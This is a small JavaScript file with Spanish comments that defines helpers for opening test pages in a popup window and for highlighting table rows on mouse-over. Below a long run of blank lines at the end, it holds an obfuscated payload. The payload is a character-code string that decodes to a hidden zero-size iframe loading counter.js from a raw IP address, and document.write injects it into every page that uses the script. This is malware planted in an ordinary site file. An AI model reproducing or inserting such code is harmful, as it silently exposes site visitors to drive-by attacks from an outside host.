// ------------------------------------------------------------------------------------------
// Descripcion: Carga y Visualiza la ventana para los distintos test
// Parametros:  'pagina': nombre del fichero .html a abrir
// Llamada:     <a href="javascript:abrir(parametro)">Abrir el test</a>
// ------------------------------------------------------------------------------------------
//

function abrir(pagina) {
 var verTestX = (screen.width/2)-320;
 var verTestY = (screen.height/2)-275;
 var pos      = "left="+verTestX+",top="+verTestY;
 var link     = (pagina+".html");
 var nomWin   = ("win"+pagina);
 var opciones = "dependent=yes,width=640,height=500,scrollbars=yes,";
 hija = window.open(link,nomWin,opciones+pos);
}

// ------------------------------------------------------------------------------------------
// Parametros:  Objeto que hace la llamada
// Llamada:     <tr onMouseOver="entra(this)" id="nombreObjeto">
// ------------------------------------------------------------------------------------------
//
function entra(obj) {
var nObj = obj.id;

document.all[nObj].style.background="#8f528f";
document.all[nObj].style.color="#f7f0f7";
document.all[nObj].style.cursor="hand";
}

// ------------------------------------------------------------------------------------------
// Parametros:  Objeto que hace la llamada
// Llamada:     <tr onMouseOut="sale(this)" id="nombreObjeto">
// ------------------------------------------------------------------------------------------
//
function sale(obj) {
var nObj = obj.id;

// alert('DIFERENTE: '+clic);
// document.all[nObj].style.Color="#007799";

document.all[nObj].style.background="#620062";
document.all[nObj].style.color="#FEFF09";
document.all[nObj].style.cursor="default";
}






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

